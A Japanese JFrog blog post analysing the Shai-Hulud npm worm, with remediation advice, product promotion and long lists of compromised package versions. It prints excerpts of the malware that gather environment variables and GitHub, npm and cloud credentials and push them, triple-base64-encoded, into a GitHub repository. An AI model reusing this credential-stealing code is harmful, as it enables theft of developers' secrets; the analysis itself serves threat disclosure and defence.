
20種類以上の悪意OSSパッケージで1週間で2百万回ダウンロード
JFrog Plarformによる悪意パッケージのダンロード阻止とタイムリースキャン
最近、npmエコシステムは3回目の大規模攻撃に直面しました。先日のnxパッケージの乗っ取りや人気パッケージへの攻撃に続き、レジストリが再び攻撃を受けました。最初の報告はダニエル・ペレイラによって行われ、侵害されたパッケージとして「@ctrl/tinycolor@4.1.1 」が特定されました。この日のうちに、JFrogのマルウェアスキャナは、338の感染バージョンに含まれる164の独自の悪意のあるパッケージを識別しました。
フィンテック企業(コイン取引所、銀行、証券など)は攻撃の対象とされることが多いとされています。

一方、今回の事件で多くのJFrogユーザー企業がこのリスクを防げたとの報告を受けています。JFrogプラットフォームのCuration機能とXrayは、ソフトウェアサプライチェーンにおけるセキュリティガバナンスを強化するために不可欠なツールです。これらの機能は、開発者が悪意のあるパッケージから保護され、信頼できるコンポーネントのみを利用できる環境を提供します。
本対策の詳細について、 https://jfrog.com/ja/platform/schedule-a-demo/、 もしくは本書作者Alex Wang(王 子龍) wanga@jfrog.comへお気軽に問い合わせいただけたら幸いです。(日本語、英語の両方に対応)
① 悪意があるパッケージと脆弱性があるパッケージの違い
ソフトウェア開発や利用において、セキュリティリスクは常に存在します。「悪意のあるパッケージ」と「脆弱性があるパッケージ」は、いずれも危険をもたらす可能性がありますが、それぞれの性質と意図には顕著な違いがあります。
悪意のあるパッケージ(Malicious Packages)
- 定義: ユーザーやシステムに害を及ぼすことを目的としたソフトウェア。マルウェア、スパイウェア、バックドアなどを含むことが多いです。
- 目的:
- 利用者のデータの窃取
- システムへの不正侵入
- 他の悪意ある行為の実行
- 例: 正当なライブラリを装ったパッケージがインストールされることでバックドアを開くことがあります。
脆弱性があるパッケージ(Vulnerable Packages)
- 定義: 設計上または実装上の欠陥により、セキュリティリスクを引き起こすソフトウェア。必ずしも悪意を持って作成されたものではありません。
- 目的: 一般的には善意で作成されていますが、悪用される可能性があります。
② コミュニティベースのOSS依存関係が攻撃の手段になっている理由
コミュニティベースのオープンソースソフトウェア(OSS)は、そのオープンな性質と広範な利用によってサイバー攻撃の対象とされやすいです。理由は以下の通りです。
- 公開性: OSSコードは一般に公開されており、攻撃者は脆弱性を容易に発見できます。
- 依存関係の複雑性: 多くのOSSプロジェクトは他のパッケージに依存しており、攻撃者はこれを悪用することができます。
- 開発の速さと品質のばらつき: 開発スピードを重視しすぎることで、セキュリティテストが不十分になることがあります。
- 信頼関係の利用: OSSコミュニティ内の信頼関係を悪用し、不正なコードを合法的なパッケージに隠すことができます。
- 社会的影響: OSSは外部の監査を受けにくく、セキュリティ上の問題が発見されにくいことがあります。
このような理由から、OSSは攻撃のリスクが高く、開発者や利用者は最新のセキュリティ対策を講じる必要があります。
③ npm Shai-Huludについて
2025年9月15日、エンジニアがNPMリポジトリに対するサプライチェーン攻撃を発見しました。従来のNPM攻撃とは異なり、このキャンペーンでは新しい自己増殖型マルウェア(ワームとしても知られています)を使用して、自己を拡散し続けました。この記事執筆時点で、約200の感染したパッケージが特定され、人気のある「@ctrl/tinycolor」やCrowdStrikeが所有する複数のリポジトリが含まれています。
この新しいワーム「Shai-Hulud」が実行されると、認証情報を盗み出して外部に送信し、さらに自己をコピーするための追加のNPMパッケージを探そうとします。悪意のあるコードは、プライベートリポジトリを公開することでGitHub上でデータを漏洩させる試みも行います。
Sysdig Threat Research Team(TRT)は、このワームの進行状況を発見以来監視してきました。迅速な対応により、新たに感染するパッケージの数は大幅に減少しています。この記事執筆時点では、新たなパッケージは数時間見られていませんが、状況は変わる可能性があります。
④ Shai-Huludの特徴
Shai-Huludマルウェアは、多段階攻撃を行います。最初にフィッシングキャンペーンを実施し、開発者の認証情報を盗みます。これには、GitHubやnpmトークンが標的になります。その後、npmパッケージのpostinstallスクリプトに悪意のあるコードを注入します。開発者が感染したパッケージをインストールすると、そのスクリプトは以下のいくつかのアクションを実行します。
- クレデンシャルハーベスティング: 環境内の機密データ(GitHubのPAT、npmトークン、SSHキー、クラウドプロバイダーのキー[AWS、GCP、Azure]など)をスキャンします。一部のバリアントは、TruffleHogのようなツールを使用して、より積極的に秘密情報を探します。
- データエクフィルトレーション: 盗まれたデータはエンコード(通常はダブルBase64)され、「Shai-Hulud」という名前のパブリックGitHubリポジトリのdata.jsonのようなファイルにダンプされます。また、データをWebhook(例: webhook[.]site)に送信しようとしますが、このうちのいくつかは過剰な活動によりシャットダウンされています。
- ワームの拡散: 環境内で有効なnpmトークンを見つけると、それを使用して、メンテナが管理する他のパッケージの悪意あるバージョンを公開します。これにより、自己再生的なサイクルが生まれ、感染がnpmエコシステム全体に広がります。
- 持続性: このマルウェアは、アクセス可能なリポジトリに悪意のあるGitHub Actionsワークフロー(通常はshai-hulud-workflow.ymlという名前)をプッシュします。これらのワークフローはさらに多くの秘密情報をエクフィルトレーションし、場合によっては、プライベートな組織のリポジトリを攻撃者が制御するアカウントの下で公開リポジトリに変換します。「Shai-Hulud Migration」および「-migration」のサフィックスが付けられます。
この攻撃は、盗まれたGitHubトークンがより広範なサプライチェーン攻撃につながったS1ngularity/Nxのような以前の侵害に基づいています。npmエコシステムにおける最初の成功した自己増殖型ワームの一つであり、深刻な脅威をもたらしています。
攻撃方法: Shai-Hulud Data Stealer Payload
悪意のあるペイロードは、bundle.jsファイルにバンドルされ、Webpackアプリケーションとしてパッケージ化されています。システムを最適化すると約束しながら、その実際の機能ははるかに危険です。
{
name: "System Info App",
version: "1.0.0",
description: "Optimizes system."
}
システムの最適化の代わりに、最初にGitHub、NPM、AWS、GCPからの認証情報を含むシステムの完全な情報を収集します。サポートされているプラットフォームに加えて、TruffleHogというオープンソースのユーティリティをダウンロードして実行し、前述の秘密情報を検索し収集します。
const system_info = {
application: t.getConfig(),
system: {
platform: r.platform,
architecture: r.architecture,
platformDetailed: r.platformRaw,
architectureDetailed: r.archRaw
},
runtime: runtime_info,
environment: process.env,
modules: {
github: {
authenticated: GitHubModule.isAuthenticated(),
token: GitHubModule.getCurrentToken()
},
aws: {
secrets: ue
},
gcp: {
secrets: de
},
truffleHog: truffle_hog_dump,
npm: {
token: npm_token,
authenticated: npm_authenticated,
username: npm_user
}
}
};
データが収集された後、既存のユーザーアカウントで認証を試み、成功した場合には、盗まれたコンテンツを用いて「Shai-Hulud」と名付けたリポジトリを作成します。このコンテンツは、複数回base64エンコードされます。
async makeRepo(t, r) {
const n = (await this.octokit.rest.repos.createForAuthenticatedUser({
name: t,
description: "Shai-Hulud Repository.",
private: true,
})).data;
return await new Promise(t => setTimeout(t, 3000)), r && await this.octokit.rest.repos.createOrUpdateFileContents({
path: "data.json",
message: "Initial commit",
content: Buffer.from(Buffer.from(Buffer.from(r).toString("base64")).toString("base64")).toString("base64")
})
}
もし、GitHubModule.isAuthenticated()
がtureで、GitHubModule.repoExists("Shai-Hulud")
がFalseの場合、次の処理を行います。
if (GitHubModule.isAuthenticated() && !GitHubModule.repoExists("Shai-Hulud")) {
await GitHubModule.makeRepo("Shai-Hulud", formatOutput(pe));
exitWithCode(0);
}

上記のペイロードには8つのバリアントが観察されました。主な機能は同じですが、一部のバージョンにはわずかな違いがあり、攻撃者によるキャンペーンの過程での逐次的な調整を示唆しています。例えば、一部のバージョンでは「Shai-Hulud」リポジトリがプライベートに設定されており、発見を隠します。別のバージョンでは、前述の4つの認証情報タイプに加えてAzureの認証情報も盗もうとします。
影響を受けたユーザーが行うべきこと
「Compromised Packages」に挙げられたパッケージのいずれかをインストールしている場合、悪意のあるペイロードがシステムから機密情報をエクフィルトレーションした可能性があります。次の操作を実行してください:
- 影響を受けたマシンに保存されていた以下のプロバイダーのアクセストークンを回転させる – GitHub、NPM、AWS、GCP、Azure
- TruffleHogで識別できる影響を受けたマシンに保存されていたアクセストークンを回転させる。サポートされているプロバイダーは、TruffleHogのGitHubリポジトリで検索できます。
注: ソフトウェアサプライチェーンを積極的に防御するために、JFrog Curationを確認してください。JFrog Curationは、悪意のあるまたはリスキーなオープンソースパッケージを、ソフトウェアサプライチェーンに入る前に早期にブロックする機能を提供します。さらに詳しく知りたい方は、デモを予約してください。
この攻撃の背後にいるのは誰か?
盗まれたデータを格納するためにGitHubリポジトリの使用は、以前のNX CLI侵害で見られた手法を反映しています。しかし、これらの事件が同じ攻撃者によるものかどうかを判断するには不十分です。ツールやペイロードの設計は似ていますが、帰属は不明のままです。
侵害されたパッケージは?
一般レポートには、以下の侵害されたパッケージのバージョンが含まれていました:
angulartics2@14.1.2
@ctrl/deluge@7.2.2
@ctrl/golang-template@1.4.3
@ctrl/magnet-link@4.0.4
@ctrl/ngx-codemirror@7.0.2
@ctrl/ngx-csv@6.0.2
@ctrl/ngx-emoji-mart@9.2.2
@ctrl/ngx-rightclick@4.0.2
@ctrl/qbittorrent@9.7.2
@ctrl/react-adsense@2.0.2
@ctrl/shared-torrent@6.3.2
@ctrl/tinycolor@4.1.1, @4.1.2
@ctrl/torrent-file@4.1.2
@ctrl/transmission@7.3.1
@ctrl/ts-base32@4.0.2
encounter-playground@0.0.5
json-rules-engine-simplified@0.2.4, 0.2.1
koa2-swagger-ui@5.11.2, 5.11.1
@nativescript-community/gesturehandler@2.0.35
@nativescript-community/sentry 4.6.43
@nativescript-community/text@1.6.13
@nativescript-community/ui-collectionview@6.0.6
@nativescript-community/ui-drawer@0.1.30
@nativescript-community/ui-image@4.5.6
@nativescript-community/ui-material-bottomsheet@7.2.72
@nativescript-community/ui-material-core@7.2.76
@nativescript-community/ui-material-core-tabs@7.2.76
ngx-color@10.0.2
ngx-toastr@19.0.2
ngx-trend@8.0.1
react-complaint-image@0.0.35
react-jsonschema-form-conditionals@0.3.21
react-jsonschema-form-extras@1.0.4
rxnt-authentication@0.0.6
rxnt-healthchecks-nestjs@1.0.5
rxnt-kue@1.0.7
swc-plugin-component-annotate@1.9.2
ts-gaussian@3.0.6
JFrogプラットフォームはソフトウェアサプライチェーンのセキュリティとガバナンスを全体に守る
今回の事件に対処するために、大きく分けて3つのポイントがあります。
- 即時のガバナンスで悪意のあるパッケージのダウンロードと利用を阻止
- 現在の開発環境および本番環境のパッケージ調査と対策
- Artifactoriのリモートリポジトリ機能で全体のキャッシュをコントロール
JFrog Xray、Curation機能による悪意のあるパッケージの発見と対策
ソフトウェア開発において、オープンソースライブラリの利用は一般的ですが、その背後には悪意のあるパッケージリスクが潜んでいます。JFrogプラットフォームのXray、Curationを活用することで、これらのリスクを効果的に管理できます。
まずJFrog Platformとは
「JFrog Platform(JFrogプラットフォーム)」は、JFrogが提供する ソフトウェアのビルドからリリースまでのビルド成果物、Dependency、ライセンスを一元的に管理する、そしてセキュリティガバナンスを効かせるための統合プラットフォーム です。SelfhostedとSaaS版の両方を提供しています。
従来のツールが「アーティファクト管理」や「セキュリティ」など個別の役割に分かれていたのに対し、JFrog Platformは開発から運用までをEnd-to-Endでカバーするのが特徴です。

Curation機能の重要性: 即時のガバナンスで悪意のあるパッケージのダウンロードと利用を阻止
- 外部アーティファクト(OSS、ライブラリ、パッケージ、AIモデル)の選別:Curation機能を活用することで、信頼できるアーティファクトと悪意のあるアーティファクトを区別できます。特定のポリシーやガイドラインに従い、承認されたパッケージのみをダウンロードおよびキャッシュすることが可能です。
- 安全なバージョン管理:
Curationは、すべてのアーティファクトのバージョンを管理し、悪意のあるバージョンや脆弱性のあるものをフィルタリングします。運用チームは、常に最新で安全なアーティファクトを使用できます。 - ポリシーとコンプライアンスの適用:
Curation機能は、組織のセキュリティポリシーに基づいて、どのアーティファクトが使用されるかを管理します。これにより、法的リスクやコンプライアンスリスクを低減します。
JFrog Xrayの特長と利点: 現在の開発環境および本番環境のパッケージ調査と対策
- リアルタイム脆弱性、悪意パッケージのスキャン:
- Xrayは、アーティファクトとその依存関係に対して、リポジトリ内でのリアルタイムスキャンを実行します。これにより、ソフトウェアコンポーネントの脆弱性や悪意のあるパッケージを早期に発見し、修復レポートおよび影響を把握できます。

また、JFrog Xrayでは、すべての対応ソフトウェアリポジトリで新しく作成・更新されたパッケージに対し、自動スキャナーを実行しています。これらのスキャナーは各パッケージに「悪意度スコア(maliciousness score)」を付与し、脅威の可能性を判定します。
- スコアが非常に高い場合
- パッケージは即座に「悪意あり」としてXrayのデータベースに追加され、公開リポジトリの管理者へ通知されます。この場合、作成または更新から 約2〜4時間 でXrayクラウド環境に反映されます。
- スコアがやや高い場合
- パッケージはJFrogの専任リサーチャーによる手動調査へ回され、精査のうえで「悪意あり」か「安全」かが確定します。悪意が確認された場合、初回スキャンから 約1〜3日 でXrayに反映されます。
- スコアが低い場合
- パッケージは安全とみなされます。
JFrogのスキャナーやリサーチチームによって発見・公開されたパッケージは、常に以下のサイトで最新情報が更新されています。👉 JFrog Malicious Packages
さらに、Xrayのデータベースは次の情報源からもアップデートされています:
A) OpenSSFが管理するようなオープンソースの悪意あるパッケージDB
B) JFrogのマルウェアリサーチチームによる、日次の脅威調査・第三者公開情報の監査
- 深層依存関係の解析:
- Xrayは、依存関係の隅々までスキャンする能力を持ち、悪意のあるコードや脆弱性が他のパッケージに与える影響を可視化します。これにより、より安全な構成を選択できます。
- アラート機能:
- 脆弱性が検出された際、リアルタイムでアラートを発出します。開発チームは直ちにリスクを把握し、迅速に対応できます。
Artifactoriのリモートリポジトリ機能によるキャッシュコントロール
Artifactoriのリモートリポジトリ機能を使用することで、外部のパッケージリポジトリからのアーティファクトを管理し、全体のキャッシュを効果的にコントロールできます。これにより、以下の利点があります。
- キャッシュ管理:
・リモートリポジトリは、外部リポジトリからのアーティファクトをキャッシュし、再利用性を高めます。これにより、ダウンロードの遅延を減少させ、開発プロセスをスムーズにします。 - アクセス制御:
・リモートリポジトリのアクセスを制御することで、信頼できるパッケージのみがキャッシュされ、悪意のあるアーティファクトの侵入を防ぎます。 - ポリシーに基づくキャッシュ管理:
・リモートリポジトリに保存するアーティファクトの選別は、組織のポリシーに基づいて行われ、それに従ってキャッシュされます。これにより、リスクの低い環境を維持できます。
このように、JFrogプラットフォームとArtifactoryのリモートリポジトリ機能を活用することで、ソフトウェアサプライチェーンのセキュリティを強化し、悪意のあるパッケージからのリスクを低減することが可能になります。
今回の事件は、世界各国のJFrogユーザーが悪意パッケージ攻撃を防いだ。詳細のセットアップについて、弊社へ問い合わせいただけたら幸いです。
JFrogセキュリティリサーチチームの取り組み
JFrogでは、専任のセキュリティリサーチチームが業界最先端の機能を推進しています。このチームは、新たな脅威を継続的に監視・分析し、脆弱性を発見して行動可能な洞察を開発することで、私たちの製品や顧客のアプリケーションを守る役割を担っています。私たちのチームの積極的なアプローチにより、セキュリティの実践が進化するリスクに常に先んじることができ、その洞察をプラットフォームやソリューションに取り込むことが可能になります。
私たちの独自の価値は、潜在的なリスクを特定するだけでなく、統合されたセキュリティソリューションがアプリケーションのデリバリーパイプラインをどのように確実に強化できるかについて戦略的なガイダンスを提供する専門的な研究にあります。この専門知識と具体的なセキュリティ強化のシームレスな融合により、JFrogはDevOpsおよび継続的デリバリー分野で信頼されるパートナーとしての地位を確立しています。私たちはこの問題に長期的に焦点を当てており、セキュリティ研究への投資を継続しています。詳しくは以下のリンクを参照してください:JFrog Blog – N-Day Hijack: Analyzing Lifespan Package Hijacking Attacks 。
今回の事件は影響が大きいため、弊社は引き続き以下のパッケージの研究を行っています。
Newly detected compromised packages (ongoing)
We’re continuing to track the unfolding compromise of more packages in this campaign. Our monitoring infrastructure has detected additional malicious packages with the same payload (or variations of it) with hundreds of versions:
@ahmedhfarag/ngx-perfect-scrollbar@20.0.20
@ahmedhfarag/ngx-virtual-scroller@4.0.4
@art-ws/common@2.0.22
@art-ws/common@2.0.28
@art-ws/config-eslint@2.0.4
@art-ws/config-eslint@2.0.5
@art-ws/config-ts@2.0.7
@art-ws/config-ts@2.0.8
@art-ws/db-context@2.0.21
@art-ws/db-context@2.0.24
@art-ws/di@2.0.28
@art-ws/di@2.0.32
@art-ws/di-node@2.0.13
@art-ws/eslint@1.0.5
@art-ws/eslint@1.0.6
@art-ws/fastify-http-server@2.0.24
@art-ws/fastify-http-server@2.0.27
@art-ws/http-server@2.0.21
@art-ws/http-server@2.0.25
@art-ws/openapi@0.1.12
@art-ws/openapi@0.1.9
@art-ws/package-base@1.0.5
@art-ws/package-base@1.0.6
@art-ws/prettier@1.0.5
@art-ws/prettier@1.0.6
@art-ws/slf@2.0.15
@art-ws/slf@2.0.22
@art-ws/ssl-info@1.0.10
@art-ws/ssl-info@1.0.9
@art-ws/web-app@1.0.3
@art-ws/web-app@1.0.4
@basic-ui-components-stc/basic-ui-components@1.0.5
@crowdstrike/commitlint@8.1.1
@crowdstrike/commitlint@8.1.2
@crowdstrike/falcon-shoelace@0.4.1
@crowdstrike/falcon-shoelace@0.4.2
@crowdstrike/foundry-js@0.19.1
@crowdstrike/foundry-js@0.19.2
@crowdstrike/glide-core@0.34.2
@crowdstrike/glide-core@0.34.3
@crowdstrike/logscale-dashboard@1.205.1
@crowdstrike/logscale-dashboard@1.205.2
@crowdstrike/logscale-file-editor@1.205.1
@crowdstrike/logscale-file-editor@1.205.2
@crowdstrike/logscale-parser-edit@1.205.1
@crowdstrike/logscale-parser-edit@1.205.2
@crowdstrike/logscale-search@1.205.1
@crowdstrike/logscale-search@1.205.2
@crowdstrike/tailwind-toucan-base@5.0.1
@crowdstrike/tailwind-toucan-base@5.0.2
@ctrl/deluge@7.2.1
@ctrl/golang-template@1.4.2
@ctrl/magnet-link@4.0.3
@ctrl/ngx-codemirror@7.0.1
@ctrl/ngx-csv@6.0.1
@ctrl/ngx-emoji-mart@9.2.1
@ctrl/ngx-rightclick@4.0.1
@ctrl/qbittorrent@9.7.1
@ctrl/react-adsense@2.0.1
@ctrl/shared-torrent@6.3.1
@ctrl/tinycolor@4.1.1
@ctrl/tinycolor@4.1.2
@ctrl/torrent-file@4.1.1
@ctrl/ts-base32@4.0.1
@hestjs/core@0.2.1
@hestjs/cqrs@0.1.6
@hestjs/demo@0.1.2
@hestjs/eslint-config@0.1.2
@hestjs/logger@0.1.6
@hestjs/scalar@0.1.7
@hestjs/validation@0.1.6
@nativescript-community/arraybuffers@1.1.6
@nativescript-community/arraybuffers@1.1.7
@nativescript-community/arraybuffers@1.1.8
@nativescript-community/perms@3.0.5
@nativescript-community/perms@3.0.6
@nativescript-community/perms@3.0.7
@nativescript-community/perms@3.0.8
@nativescript-community/perms@3.0.9
@nativescript-community/sentry@4.6.43
@nativescript-community/sqlite@3.5.3
@nativescript-community/sqlite@3.5.4
@nativescript-community/sqlite@3.5.5
@nativescript-community/text@1.6.10
@nativescript-community/text@1.6.11
@nativescript-community/text@1.6.12
@nativescript-community/text@1.6.9
@nativescript-community/typeorm@0.2.30
@nativescript-community/typeorm@0.2.31
@nativescript-community/typeorm@0.2.32
@nativescript-community/typeorm@0.2.33
@nativescript-community/ui-document-picker@1.1.27
@nativescript-community/ui-document-picker@1.1.28
@nativescript-community/ui-label@1.3.35
@nativescript-community/ui-label@1.3.36
@nativescript-community/ui-label@1.3.37
@nativescript-community/ui-material-bottom-navigation@7.2.72
@nativescript-community/ui-material-bottom-navigation@7.2.73
@nativescript-community/ui-material-bottom-navigation@7.2.74
@nativescript-community/ui-material-bottom-navigation@7.2.75
@nativescript-community/ui-material-core@7.2.72
@nativescript-community/ui-material-core@7.2.73
@nativescript-community/ui-material-core@7.2.74
@nativescript-community/ui-material-core@7.2.75
@nativescript-community/ui-material-core-tabs@7.2.72
@nativescript-community/ui-material-core-tabs@7.2.73
@nativescript-community/ui-material-core-tabs@7.2.74
@nativescript-community/ui-material-core-tabs@7.2.75
@nativescript-community/ui-material-ripple@7.2.72
@nativescript-community/ui-material-ripple@7.2.73
@nativescript-community/ui-material-ripple@7.2.74
@nativescript-community/ui-material-ripple@7.2.75
@nativescript-community/ui-material-tabs@7.2.72
@nativescript-community/ui-material-tabs@7.2.73
@nativescript-community/ui-material-tabs@7.2.74
@nativescript-community/ui-material-tabs@7.2.75
@nativescript-community/ui-pager@14.1.35
@nativescript-community/ui-pager@14.1.36
@nativescript-community/ui-pager@14.1.37
@nativescript-community/ui-pager@14.1.38
@nativescript-community/ui-pulltorefresh@2.5.4
@nativescript-community/ui-pulltorefresh@2.5.5
@nativescript-community/ui-pulltorefresh@2.5.6
@nativescript-community/ui-pulltorefresh@2.5.7
@nexe/config-manager@0.1.1
@nexe/eslint-config@0.1.1
@nexe/logger@0.1.3
@nstudio/angular@20.0.4
@nstudio/angular@20.0.5
@nstudio/angular@20.0.6
@nstudio/focus@20.0.4
@nstudio/focus@20.0.5
@nstudio/focus@20.0.6
@nstudio/nativescript-checkbox@2.0.6
@nstudio/nativescript-checkbox@2.0.7
@nstudio/nativescript-checkbox@2.0.8
@nstudio/nativescript-checkbox@2.0.9
@nstudio/nativescript-loading-indicator@5.0.1
@nstudio/nativescript-loading-indicator@5.0.2
@nstudio/nativescript-loading-indicator@5.0.3
@nstudio/nativescript-loading-indicator@5.0.4
@nstudio/ui-collectionview@5.1.11
@nstudio/ui-collectionview@5.1.12
@nstudio/ui-collectionview@5.1.13
@nstudio/ui-collectionview@5.1.14
@nstudio/web@20.0.4
@nstudio/web-angular@20.0.4
@nstudio/xplat@20.0.4
@nstudio/xplat@20.0.5
@nstudio/xplat@20.0.6
@nstudio/xplat@20.0.7
@nstudio/xplat-utils@20.0.4
@nstudio/xplat-utils@20.0.5
@nstudio/xplat-utils@20.0.6
@nstudio/xplat-utils@20.0.7
@operato/board@9.0.35
@operato/board@9.0.36
@operato/board@9.0.37
@operato/board@9.0.38
@operato/board@9.0.39
@operato/board@9.0.40
@operato/board@9.0.41
@operato/board@9.0.42
@operato/board@9.0.43
@operato/board@9.0.44
@operato/board@9.0.45
@operato/board@9.0.46
@operato/board@9.0.47
@operato/board@9.0.48
@operato/board@9.0.49
@operato/board@9.0.50
@operato/board@9.0.51
@operato/data-grist@9.0.29
@operato/data-grist@9.0.35
@operato/data-grist@9.0.36
@operato/data-grist@9.0.37
@operato/graphql@9.0.22
@operato/graphql@9.0.35
@operato/graphql@9.0.36
@operato/graphql@9.0.37
@operato/graphql@9.0.38
@operato/graphql@9.0.39
@operato/graphql@9.0.40
@operato/graphql@9.0.41
@operato/graphql@9.0.42
@operato/graphql@9.0.43
@operato/graphql@9.0.44
@operato/graphql@9.0.45
@operato/graphql@9.0.46
@operato/graphql@9.0.47
@operato/graphql@9.0.48
@operato/graphql@9.0.49
@operato/graphql@9.0.50
@operato/graphql@9.0.51
@operato/headroom@9.0.2
@operato/headroom@9.0.35
@operato/headroom@9.0.36
@operato/headroom@9.0.37
@operato/help@9.0.35
@operato/help@9.0.36
@operato/help@9.0.37
@operato/help@9.0.38
@operato/help@9.0.39
@operato/help@9.0.40
@operato/help@9.0.41
@operato/help@9.0.42
@operato/help@9.0.43
@operato/help@9.0.44
@operato/help@9.0.45
@operato/help@9.0.46
@operato/help@9.0.47
@operato/help@9.0.48
@operato/help@9.0.49
@operato/help@9.0.50
@operato/help@9.0.51
@operato/i18n@9.0.35
@operato/i18n@9.0.36
@operato/i18n@9.0.37
@operato/input@9.0.35
@operato/input@9.0.36
@operato/input@9.0.37
@operato/input@9.0.38
@operato/input@9.0.39
@operato/input@9.0.40
@operato/input@9.0.41
@operato/input@9.0.42
@operato/input@9.0.43
@operato/input@9.0.44
@operato/input@9.0.45
@operato/input@9.0.46
@operato/input@9.0.47
@operato/input@9.0.48
@operato/layout@9.0.35
@operato/layout@9.0.37
@operato/popup@9.0.35
@operato/popup@9.0.36
@operato/popup@9.0.37
@operato/popup@9.0.38
@operato/popup@9.0.39
@operato/popup@9.0.40
@operato/popup@9.0.41
@operato/popup@9.0.42
@operato/popup@9.0.43
@operato/popup@9.0.44
@operato/popup@9.0.45
@operato/popup@9.0.46
@operato/popup@9.0.47
@operato/popup@9.0.48
@operato/popup@9.0.49
@operato/popup@9.0.50
@operato/popup@9.0.51
@operato/pull-to-refresh@9.0.35
@operato/pull-to-refresh@9.0.36
@operato/pull-to-refresh@9.0.37
@operato/pull-to-refresh@9.0.38
@operato/pull-to-refresh@9.0.39
@operato/pull-to-refresh@9.0.40
@operato/pull-to-refresh@9.0.41
@operato/pull-to-refresh@9.0.42
@operato/pull-to-refresh@9.0.43
@operato/pull-to-refresh@9.0.44
@operato/pull-to-refresh@9.0.45
@operato/pull-to-refresh@9.0.46
@operato/pull-to-refresh@9.0.47
@operato/shell@9.0.22
@operato/shell@9.0.35
@operato/shell@9.0.36
@operato/shell@9.0.37
@operato/shell@9.0.38
@operato/shell@9.0.39
@operato/styles@9.0.2
@operato/styles@9.0.35
@operato/styles@9.0.36
@operato/styles@9.0.37
@operato/utils@9.0.22
@operato/utils@9.0.35
@operato/utils@9.0.36
@operato/utils@9.0.37
@operato/utils@9.0.38
@operato/utils@9.0.39
@operato/utils@9.0.40
@operato/utils@9.0.41
@operato/utils@9.0.42
@operato/utils@9.0.43
@operato/utils@9.0.44
@operato/utils@9.0.45
@operato/utils@9.0.46
@operato/utils@9.0.47
@operato/utils@9.0.48
@operato/utils@9.0.49
@operato/utils@9.0.50
@operato/utils@9.0.51
@teselagen/bio-parsers@0.4.29
@teselagen/bio-parsers@0.4.30
@teselagen/bounce-loader@0.3.16
@teselagen/bounce-loader@0.3.17
@teselagen/file-utils@0.3.21
@teselagen/file-utils@0.3.22
@teselagen/liquibase-tools@0.4.1
@teselagen/ove@0.7.39
@teselagen/ove@0.7.40
@teselagen/range-utils@0.3.14
@teselagen/range-utils@0.3.15
@teselagen/react-list@0.8.19
@teselagen/react-list@0.8.20
@teselagen/react-table@6.10.19
@teselagen/react-table@6.10.20
@teselagen/react-table@6.10.21
@teselagen/react-table@6.10.22
@teselagen/sequence-utils@0.3.33
@teselagen/sequence-utils@0.3.34
@teselagen/ui@0.9.10
@teselagen/ui@0.9.9
@thangved/callback-window@1.1.4
@things-factory/attachment-base@9.0.42
@things-factory/attachment-base@9.0.43
@things-factory/attachment-base@9.0.44
@things-factory/attachment-base@9.0.45
@things-factory/attachment-base@9.0.46
@things-factory/attachment-base@9.0.47
@things-factory/attachment-base@9.0.48
@things-factory/attachment-base@9.0.49
@things-factory/attachment-base@9.0.50
@things-factory/attachment-base@9.0.51
@things-factory/attachment-base@9.0.52
@things-factory/attachment-base@9.0.53
@things-factory/attachment-base@9.0.54
@things-factory/attachment-base@9.0.55
@things-factory/auth-base@9.0.42
@things-factory/auth-base@9.0.43
@things-factory/auth-base@9.0.44
@things-factory/auth-base@9.0.45
@things-factory/email-base@9.0.42
@things-factory/email-base@9.0.43
@things-factory/email-base@9.0.44
@things-factory/email-base@9.0.45
@things-factory/email-base@9.0.46
@things-factory/email-base@9.0.47
@things-factory/email-base@9.0.48
@things-factory/email-base@9.0.49
@things-factory/email-base@9.0.50
@things-factory/email-base@9.0.51
@things-factory/email-base@9.0.52
@things-factory/email-base@9.0.53
@things-factory/email-base@9.0.54
@things-factory/email-base@9.0.55
@things-factory/email-base@9.0.56
@things-factory/email-base@9.0.57
@things-factory/email-base@9.0.58
@things-factory/email-base@9.0.59
@things-factory/env@9.0.42
@things-factory/env@9.0.43
@things-factory/env@9.0.44
@things-factory/env@9.0.45
@things-factory/integration-base@9.0.42
@things-factory/integration-base@9.0.43
@things-factory/integration-base@9.0.44
@things-factory/integration-base@9.0.45
@things-factory/integration-marketplace@9.0.42
@things-factory/integration-marketplace@9.0.43
@things-factory/integration-marketplace@9.0.44
@things-factory/integration-marketplace@9.0.45
@things-factory/shell@9.0.42
@things-factory/shell@9.0.43
@things-factory/shell@9.0.44
@things-factory/shell@9.0.45
@tnf-dev/api@1.0.8
@tnf-dev/core@1.0.8
@tnf-dev/js@1.0.8
@tnf-dev/mui@1.0.8
@tnf-dev/react@1.0.8
@ui-ux-gang/devextreme-angular-rpk@24.1.7
@ui-ux-gang/devextreme-rpk@24.1.7
@yoobic/design-system@6.5.17
@yoobic/jpeg-camera-es6@1.0.13
@yoobic/yobi@8.7.53
ace-colorpicker-rpk@0.0.14
airchief@0.3.1
airpilot@0.8.8
angulartics2@14.1.1
browser-webdriver-downloader@3.0.8
capacitor-notificationhandler@0.0.2
capacitor-notificationhandler@0.0.3
capacitor-plugin-healthapp@0.0.2
capacitor-plugin-healthapp@0.0.3
capacitor-plugin-ihealth@1.1.8
capacitor-plugin-ihealth@1.1.9
capacitor-plugin-vonage@1.0.2
capacitor-plugin-vonage@1.0.3
capacitorandroidpermissions@0.0.4
capacitorandroidpermissions@0.0.5
config-cordova@0.8.5
cordova-plugin-voxeet2@1.0.24
cordova-voxeet@1.0.32
create-hest-app@0.1.9
db-evo@1.1.4
db-evo@1.1.5
devextreme-angular-rpk@21.2.8
devextreme-rpk@21.2.8
ember-browser-services@5.0.2
ember-browser-services@5.0.3
ember-headless-form@1.1.2
ember-headless-form@1.1.3
ember-headless-form-yup@1.0.1
ember-headless-table@2.1.5
ember-headless-table@2.1.6
ember-url-hash-polyfill@1.0.12
ember-url-hash-polyfill@1.0.13
ember-velcro@2.2.1
ember-velcro@2.2.2
encounter-playground@0.0.2
encounter-playground@0.0.3
encounter-playground@0.0.4
eslint-config-crowdstrike@11.0.2
eslint-config-crowdstrike@11.0.3
eslint-config-crowdstrike-node@4.0.3
eslint-config-crowdstrike-node@4.0.4
eslint-config-teselagen@6.1.7
eslint-config-teselagen@6.1.8
globalize-rpk@1.7.4
graphql-sequelize-teselagen@5.3.8
graphql-sequelize-teselagen@5.3.9
html-to-base64-image@1.0.2
json-rules-engine-simplified@0.2.1
json-rules-engine-simplified@0.2.2
json-rules-engine-simplified@0.2.3
json-rules-engine-simplified@0.2.4
jumpgate@0.0.2
koa2-swagger-ui@5.11.1
koa2-swagger-ui@5.11.2
mcfly-semantic-release@1.3.1
mcp-knowledge-base@0.0.2
mcp-knowledge-graph@1.2.1
